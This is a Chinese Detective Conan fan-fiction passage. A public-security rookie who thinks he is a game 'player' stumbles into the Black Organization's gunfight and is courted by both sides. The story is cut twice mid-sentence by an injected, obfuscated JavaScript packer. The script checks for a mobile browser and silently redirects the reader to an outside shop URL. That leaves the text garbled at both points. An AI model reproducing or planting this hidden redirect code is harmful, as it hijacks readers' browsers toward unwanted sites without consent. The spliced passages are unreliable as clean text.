他走过去。 那个人抬起头。 森川和也。 这人蹲在那儿,手里拿着一袋从自动贩卖机买的薯片,正往嘴里塞。看见降谷零,他愣了一下,露出一个笑: “降谷君!这么晚还加班?” 降谷零看着他,一时不知道该说什么,最后只能问:“……你在干什么?” “吃夜宵。”森川和也晃了晃手里的薯片,“睡不着,出来走走。” 降谷零沉默了。 他想起自己刚才一路过来,脑子里转过的那些可能性——有人跟踪,有人埋伏,有人要对他不利。 结果是个梦游吃薯片的。 他把枪收回枪套,转身就走。 “降谷君不吃吗?”身后传来声音。 降谷零懒得理他。 后来降谷零发现,森川和也的半夜晃悠不是偶尔,是常态。 凌晨一点的走廊,他在。 凌晨两点的天台,他在。 凌晨三点的便利店,他在。 凌晨四点的停车场,他还在。 这人完全不休息的吗?他也不等人,也不盯梢,就纯晃悠。晃到哪算哪,晃累了就蹲着,蹲够了就回去睡。到头来森川和也精神抖擞地上班去了,路过的降谷零顶着个黑眼圈,还要被一无所知的森川和也问降谷君是不是没睡好。 降谷零想打人。 还能怎么办?总不能真打,只能习惯。 他开始习惯在半夜办事的时候,偶尔撞见这个人。有时候是擦肩而过,有时候是远远看见一个蹲着的影子,有时候是推门出来正对上那双因为熬夜而有点发红的眼睛。 “降谷君!”每次都是这个反应。眼睛亮一下,然后露出笑。 那笑容太干净了,干净得像什么都不知道。 降谷零有时候会想,这个人到底是真的傻,还是在装傻。 他试过。 在某一次凌晨偶遇的时候,降谷零当着森川和也的面处理了一个人。 那个人是个小角色,知道太多,需要消失。降谷零动手的时候,森川和也就站在三米外,手里还拿着刚从便利店买的饭团。 血流出来,沿着地面蔓延到森川和也脚边。 降谷零看着他。 森川和也低头看了看脚边的血,然后抬起头,看着降谷零。 “需要帮忙吗?”他问。 降谷零愣住了: “什么?” “收尸什么的。”森川和也咬了一口饭团,嚼了嚼,“我没经验,但可以学。” 降谷零看着他,看了很久。 那个人的眼睛还是那么干净。没有任何恐惧或者厌恶,没有任何其他人看到这种事该有的反应,平静的像一潭看不见底的湖水。 很奇怪,降谷零莫名觉得这个人在配合。又或许更多——在森川和也眼里他到底在做什么?森川和也又为什么露出那样的神色? 他看上去是想帮忙。 帮什么忙? 降谷零忽然觉得有点头疼。 和森川和也根本说不通的,这个人明明可以路过,但是偏要凑过来帮忙。但也没帮很多。 “你走吧。”降谷零这样说。 森川和也点点头,转身走了。走的时候还在吃那个饭团。 降谷零站在原地,看着那个背影消失在夜色里。 他想起松田说过的话。 “你觉得自己在和什么斗智斗勇?” 降谷零当时没回答,现在他知道了,他应该是在和一个弱智斗智斗勇。 好令人沉默。 那天晚上,森川和也又一次半夜晃悠出了门。 这次晃得有点远。 他从公寓晃到便利店,从便利店晃到街角,从街角晃到一条他不认识的巷子。 巷子很黑,他本来想掉头回去,但听见巷子深处有声音。 砰。砰。砰。 很轻,但他听过。是枪声,还是装了消音器之后的枪声。 森川和也愣了一下。 野生一等功? 于是森川和也继续往前走。毕竟玩家撞上事太正常了,说不定是什么隐藏剧情。 他走到巷子尽头,探出半个脑袋。 外面是一条街。路灯坏了几盏,光线昏暗。街中央停着几辆车,车旁边站着几个人,正在开枪。 哇,还有枪战环节。 森川和也看了眼IP,确认是在日本后又发出了声感叹,这地方真是庙小神人多。 不对,神人他怎么认识。 森川和也大惊失色——银色长发黑色风衣,保时捷和□□。琴酒? 旁边那个壮硕的身影是伏特加? 还有一个靠在车边,手里夹着烟,哪怕在枪战中也美得不像话的……贝尔摩德? 玩家今天非死不可吗? 玩家继续大惊失色。 躲的那一方他也认识! 几个穿着便装的人躲在车后面,偶尔探出头还击。其中一个——森川和也眯着眼看了看——是他公安的同事。姓什么来着?忘了。但确实在同一个大楼里见过。 组织的和公安的。 黑方和红方。 虽然玩家总是在看热闹说什么打起来但怎么真打起来了!森川和也的大脑在零点一秒内完成判断。 黑方、坏人、红方、好人。 同事在挨打。 红方需要帮助。 于是森川和也冲了出去。 琴酒的枪口正好指向那个方向。 他看见一个人从巷子里冲出来,直直地朝他冲过来。那个人的眼睛亮得惊人,表情像要去拯救世界。 琴酒愣住了—— 他见过找死的人,但没见过找得这么干脆的。 森川和也已经冲到琴酒面前。他伸手想夺枪,动作很标准,是警校教的。但在琴酒面前就不够看了。力道不够、速度不够、角度也不够,琴酒轻轻侧身他就扑了个空。 森川和也踉跄了一下,稳住身形,回头又扑过来。 这次是拳头。 琴酒抬手挡了一下。拳头的力道落在他掌心,软绵绵的,像一只炸毛的猫在挠人。 琴酒低头看那只被自己握住的手腕,又抬起头看猫。 森川和也还在挣扎。他抬脚想踹,被琴酒用膝盖顶回去。他挥另一只手,被琴酒抓住。他被控制得动弹不得,还在努力挣扎。 琴酒沉默。 他刚才看见这个人冲出来的时候,以为这傻子之前一直在藏拙,毕竟能在枪战现场面不改色地冲锋,不是疯子就是有后手。 琴酒刚刚真的认真了。 结果没两个回合,他就发现这个人就是纯菜。 不是演的。 琴酒怀疑自己刚才为什么会认真。 琴酒松开手。 森川和也踉跄了两步,差点摔倒。他稳住身形,还想再扑过来。 琴酒看着他,绿色的眼睛里神色很复杂。 然后他开口: “走。” “什么?”森川和也愣住了。 琴酒没再说话,转身朝他的保时捷走去。贝尔摩德收起烟,上车前若有所思地回头看了森川和也一眼。那双眼睛在夜色里显得颜色很深,她看着森川和也,像在看什么有意思的东西。 她笑了。 车门关上,引擎发动,几辆车消失在夜色里。 森川和也站在原地,看着那片空荡荡的街道。他低头看自己的手,手腕上还有被琴酒握过的痕迹。那只手刚才握着他的时候,力道控制得刚刚好——不会让他挣脱,也不会捏痛他。 他想起那双绿色的眼睛。 在放开他的时候,那双眼睛里有一种他看不懂的东西。 是什么? 森川和也没来得及细想。 身后传来声音。 “喂——你——” 是那个公安同事。他扶着车站起来,身上有血,但还能走。 森川和也转过身。 同事看着他,表情很复杂: “你疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304422|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” “可能。”森川和也说。 同事沉默了。他走过来,拍了拍森川和也的肩。 “谢谢。”他说。 森川和也站在原地,看着那个背影一瘸一拐地消失在夜色里。 他又站了一会儿。 然后他蹲下来,开始等天亮。 天亮得很慢。 森川和也蹲在街边,靠着墙,看着天色一点点变亮。 期间有人路过。 第一个人是个醉汉,摇摇晃晃地走过来,看见他蹲着,愣了一下,然后开始翻他的口袋。 森川和也看着他翻。 口袋里有零钱,有手机,有一包没开封的纸巾。醉汉把零钱拿走,看了看手机,嫌弃地扔回去。 第二个人是个中年男人,西装革履,看起来像上班族。他走过来,先是看了看四周才蹲下来,凑得很近。 “一个人?”男人问。 森川和也没说话,想看看这人到底干嘛的。 中年男人笑了一下,伸手想摸他的脸。 森川和也偏了偏头。 中年男人愣了一下,然后脸上的笑变得更奇怪:“害羞?” 他伸手想拉森川和也的胳膊。 森川和也站起来,比中年男人高半个头。他低头看着那个男人,脸上没有任何表情。 “滚。” 中年男人被他的眼神吓了一跳。他往后退了两步,骂了一句什么,转身跑了。 森川和也重新蹲下去。 这个世界恶意真大。他想。 天终于亮了。按理来说森川和也应该去上班了,但不知为什么他就是没动,依然蹲在角落里思考人生。混蛋上司给他打了通电话,森川和也没接。 后来是降谷零找到了他,这人一点礼貌都没,见面什么话也不说,把森川和也拎到医院检查了一遍。什么事都没有,就是手上有几道浅浅的红印——被琴酒握的那只手。 医生问他怎么回事。 森川和也说:“摔的。” 医生狐疑地看着他,没再问。 第二天,新闻出来了。 “……晚东区发生□□火并,致两人死亡,三人受伤。警方正在调查中。” 森川和也看着那条新闻,看了很久。他知道那不是□□,明明就是组织和公安。 但他不知道的是—— 那个他冲出去救的同事,那个扶着车站起来、拍拍他的肩说“谢谢”的人,此刻正躺在另一个地方。 组织的安全屋里。 “骨头断了而已。”医生说,“一周后就可以活动了。” “同事”睁开眼看着天花板。 “那个冲出来的傻子,”他说,“是什么人?” 琴酒没回答。 贝尔摩德靠在门边笑了一下。 “档案里查过了。”她说,“森川和也,警校毕业,公安部新人。和那几个人是同期。” “那几个人”指的是谁,所有人都知道。 琴酒看着她:“他认识他们?” “当然认识。”贝尔摩德说,“但不好说是什么关系。” 琴酒沉默了。他又想起那双眼睛,那个冲向他的人的眼睛,清亮的像春天的湖泊。 就是一只不知道天高地厚的猫。 “查清楚。”琴酒说。 贝尔摩德点头。“已经查了。”她说,递过来一份档案,“他的资料在这儿。从出生到现在,所有能查到的都在。” 琴酒翻开。 档案很薄。普通家庭,普通学业,普通经历。没有任何可疑的地方。 太普通了,和这世界上的任何一个人都一样,但又不会有任何一个人处在他那样的境地后做出和他一样的选择。 琴酒合上档案,看着窗外。窗外是灰白色的天空,和那天晚上的夜色完全不一样。但他想起那天晚上,那个人蹲在街边的样子,一个人,蹲在凌晨的街头等着天亮。 他想起森川和也看他时的眼神。 “继续观察。” 森川和也在医院躺了一天就被医生轰出院了。他回到公寓,打开游戏界面,想看看有没有什么新提示。 没有,一切正常。 可森川和也脑子里忽然闪过那双绿色的眼睛。 他翻了个身,把脸埋进枕头里。 “想什么呢。”森川和也嘟囔,“那是反派。” 43.043[番外] 森川和也开始注意到一些事情。 不是“我好像被监视了”之类的,这些他已经习惯了。是另一种——更微妙更日常也更让他困惑。 比如降谷零对他越来越好。 玩家也很想把他的好归结给红方特有的“你好我好大家好”,可总觉得不对劲,这人太热情了,热情到玩家都有点无措。 中午吃饭的时候,降谷零会恰好端着餐盘坐在他旁边:“这里有人吗?” “没有。” “哦。” 然后就开始吃饭,吃完就走。 你的幼驯染呢?诸伏景光呢?不要他了吗? 森川和也一开始以为只是巧合,但连续一周都是这样,他开始觉得不对。 “降谷君最近怎么老坐我旁边?”他问萩原研二。 萩原正在啃鸡腿,闻言抬头看了他一眼,眼神有点奇怪: “你觉得呢?” “食堂座位太少了?”森川和也想了想。 松田阵平发出一声笑,不出意外应该是在嘲讽森川和也或者嘲讽降谷零。萩原研二也沉默了,低下头继续啃鸡腿,没再说话。 后来森川和也发现,降谷零对他的好不止于此。 任务的时候,降谷零会主动跟他一组。开会的时候,降谷零会替他和混蛋上司吵架。加班的时候,降谷零会主动去给他冲咖啡,然后脸上带着热情又温暖的笑过来关心他困不困累不累。 不要什么都和诸伏景光学啊! 森川和也受宠若惊。 这是好感度涨了吗?他想。终于涨了吗? 他更努力了。可他不知道的是,在降谷零眼里,他努力的样子,像是在说“我愿意入伙”。 降谷零看着他的眼神越来越复杂。 诸伏景光则是另一种方式。 他总是偶遇森川和也。 深夜的便利店,午后的咖啡馆,加完班后的地铁站。每一次都是恰好路过,每一次都会聊几句。 “森川君这么晚还出来?” “嗯,买点吃的。” “真巧,我也是。” 诸伏景光笑着,从货架上拿了一盒牛奶,和他一起结账。两个人走出便利店,站在路灯下,有一搭没一搭地聊着。 森川和也觉得这种偶遇挺好的,增进感情嘛。攻略上说了,要多和攻略对象互动。 但每次聊完,他总觉得心里有点发毛。 诸伏景光说话的时候,那双蓝眼睛会一直看着他,像是在探寻他眼睛后面的什么东西。 “森川君,”有一次诸伏景光问他,“你觉得降谷君是个什么样的人?” “很厉害的人。”森川开始夸夸。 “就这样?” “嗯。”森川和也点头,“很厉害,很可靠,很——” 他说着说着,发现诸伏景光的眼神变了。那双眼睛弯起来,笑得比平时更温柔。 “森川君真的很相信他呢。” “不可以吗?”森川和也愣了一下。 诸伏景光看着他,看了很久,然后笑了。 “可以。”诸伏景光说,“当然可以。” 他拍了拍森川和也的肩,转身走了。 森川和也站在原地,看着那个背影消失在夜色里。 这对幼驯染到底在打什么哑迷?森川和也无助地想。到底有什么话是不能和他说的,为什么要排挤玩家! 萩原研二是最让森川和也放松的。 因为萩原和他一样热情。 两个人凑在一起,就像两只大型犬科动物。萩原研二拍他的肩和他一起笑的前仰后合,会拉着他一起去吃饭,在他加班的时候送来零食,走廊里远远看见他就挥手。 “森川君——!” 萩原研二跑过来,手里拿着两杯咖啡。 “给你!热的!” 森川和也接过来,喝了一口,温度刚好。 “谢谢!” “不客气!”萩原笑的眼睛弯成两道月牙,“你昨天不是说困吗?喝点咖啡提神。” 森川和也心里暖暖的。 这才是好队友嘛,他想。这才是正常的好感度!太让人感动了,萩原研二,玩家会一辈子记着你的好。 但森川和也不知道,萩原每次给他的咖啡,都是提前尝过的。 “hagi你到底想干什么?”松田阵平觉得这多少有点变态了,露出没眼看的嫌弃表情。 “他喜欢喝这个温度。”萩原脸上写着小阵平你懂什么,“再烫一点他就会放弃喝。” 松田皱眉看着他:“你研究这个干什么?” “多好玩啊。” “……你不会在里面下药了吧?” “我没有!”萩原研二大声证明自己的清白,“他的脑子还需要我偷偷下药吗?” “那你为什么一定要让他喝咖啡啊!”松田阵平试图用声音压过幼驯染,“这也要和zero比吗?” 萩原研二可疑地沉默。 “不会吧?你是什么幼稚国中生吗?为什么在这种地方胜负欲这么强啊!”松田阵平大为不解,但萩原研二已经放弃解释,溜溜达达地走了。 但松田阵平确实是最让森川和也头疼的。 因为松田还是嫌弃他。不管他做什么,松田都能找到理由嘲讽。 “你怎么连这个都做不好?” “你怎么又在这儿?” “你怎么这么烦?” 森川和也一开始很受伤,后来他习惯了。 傲娇嘛,他想。攻略上说了,傲娇角色前期都这样,等好感度刷上去了就好了。 然后继续往松田身边凑。 松田阵平看见他就皱眉:“你又要干什么?” “路过。”森川和也说。 “你天天路过。” “嗯。” 松田“啧”了一声,转身走了。森川和也跟上去:“松田君今天吃了吗?” “吃了。” “吃什么了?” “关你什么事。” “好奇嘛。” 松田阵平停下脚步,回头看他,眼里除了嫌弃好像还有点别的情绪。森川和也看不懂,但他觉得挺好的——反正比刚来的时候好多了。 但松田阵平显然不这么认为。 家人们,被狗黏上怎么办啊? 那天诸伏景光又在偶遇森川和也。 这次是在地铁站,森川和也加完班已经很晚了,地铁站里没什么人,只有几个零散的乘客。诸伏景光站在站台上,手里拿着公文包,看着森川和也笑了笑。 “森川君,真巧。” 森川和也走过去,站在他旁边:“诸伏君也这么晚?” “嗯,处理点事。” 两个人沉默了一会儿,列车进站的灯光从隧道里照过来,越来越亮,照在他们脸上。 “森川君,你觉得什么是正义?”诸伏景光忽然开口。 森川和也愣了一下。 这个问题太大了,他从来没认真想过。他看着隧道里越来越近的灯光,沉思了一会。 “保护该保护的人。”他说,“还有惩罚该惩罚的人吧。” 诸伏景光没有回答。 列车进站了。门打开,川流的人群中他们没有上车。一直到车门关闭,列车驶离,站台又安静下来。 诸伏景光转过头,看着森川和也。 那双蓝眼睛倒映着站台的光,显得朦胧又明亮,像藏在深水里的东西终于浮上来了一点。 “如果有一天,”诸伏景光慢慢开口,“你发现该保护的人,其实不是你想的那样呢?” 森川和也看着诸伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316152|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景光,看着那双蓝色的眼睛。眼睛的主人还是那么温柔,似乎有很多话想说。 森川和也不知道他想说什么,一切都那样安静,他听见自己心跳的声音。 诸伏景光看着森川愣住的样子,露出一个笑。然后他伸出手,在森川和也肩上拍了拍。 那只手在他肩上停了两秒,诸伏景光便收回手,转身走进夜色里,留下森川和也站在原地看着那个背影。 森川和也想了很久都没想明白,只能记住那只手的温度。 …… 另一边,森川和也接到一个任务。 不是什么重要的任务,就是普通的监视。目标是一个中年男人,住在城西的一栋老式公寓里。森川和也蹲在街对面的咖啡店里,喝着不知道第几杯咖啡,看着那栋楼的入口。 窗外天色渐暗,路灯亮了,森川和也准备换个位置。 刚站起来,身后就传来一个声音: “森川君,这么巧?” 贝尔摩德靠在旁边的座位上,桌子上放着一杯和他一样的咖啡,正看着他。 森川和也愣住了。 贝尔摩德,组织的人。她怎么在这儿? 森川和也条件反射地想跑,但贝尔摩德伸出手,按住他的手腕。 “别跑。”她说,“我不是来杀你的。” 谁会信这种话!玩家是不聪明但玩家不是傻,森川和也无助地环顾四周,发现咖啡店里不知什么时候已经没了其他的客人,吧台里的服务员一头栽进椅子里,不知道是死是活。 救命,玩家今天非死不可吗? 贝尔摩德笑了一下,笑容和诸伏景光的不一样。 “坐。”她说。 森川和也坐下。 贝尔摩德看着他,像在观察。 “你知道你在为谁工作吗?” “知道。” 贝尔摩德叹了口气,从包里掏出一张照片,放在桌上推到他面前。照片上是森川和降谷零、诸伏景光站在一起的画面。从远处偷拍的。光线有点暗,但两个人的脸都看得很清楚。 “看清楚了吗?”贝尔摩德问。 森川和也低头看着那张照片。 “他们是什么人,你知道吗?” 森川和也抬起头,看着她。 “公安的人。”他说。 贝尔摩德愣了一下,露出一个奇怪的笑容,像是听见了什么很好笑的事。 “公安的人。”她重复了一遍,“对,他们是公安的人。” 她把照片收回包里,站起来。走到森川和也身边的时候,她停下脚步。 “想明白了就来找我们。”贝尔摩德说。 森川和也坐在那里,看着她的背影消失在门外。桌上那杯没喝完的咖啡已经凉了,森川没有再动它。落地窗外,监视目标走了出来,森川的视线跟着他移动,但没追上去。 森川和也想了很久。 这一切真的是正确的吗? 那天晚上回去的时候,他在楼下看见了降谷零。金发青年站在路灯下,手里拿着一份文件,像是在等谁。 看见他,降谷零抬起头,紫灰色的眼睛在路灯下颜色更深了。 “去哪儿了?”他问。 “执行任务。”森川和也如实回答。 “什么任务?” “监视。” 降谷零的眼神像在看智障,但他还是善良的 ,不知道从哪掏出一份文件塞给森川和也。 “明天的事。”他说,“早点睡。” 森川和也接过文件,低头看了一眼——诶?怎么是组织。 玩家终于被认可了吗? 再抬头的时候,降谷零已经走了。森川和也站在原地,看着那个背影消失在夜色里,想起贝尔摩德的话。 “他们是什么人,你知道吗?”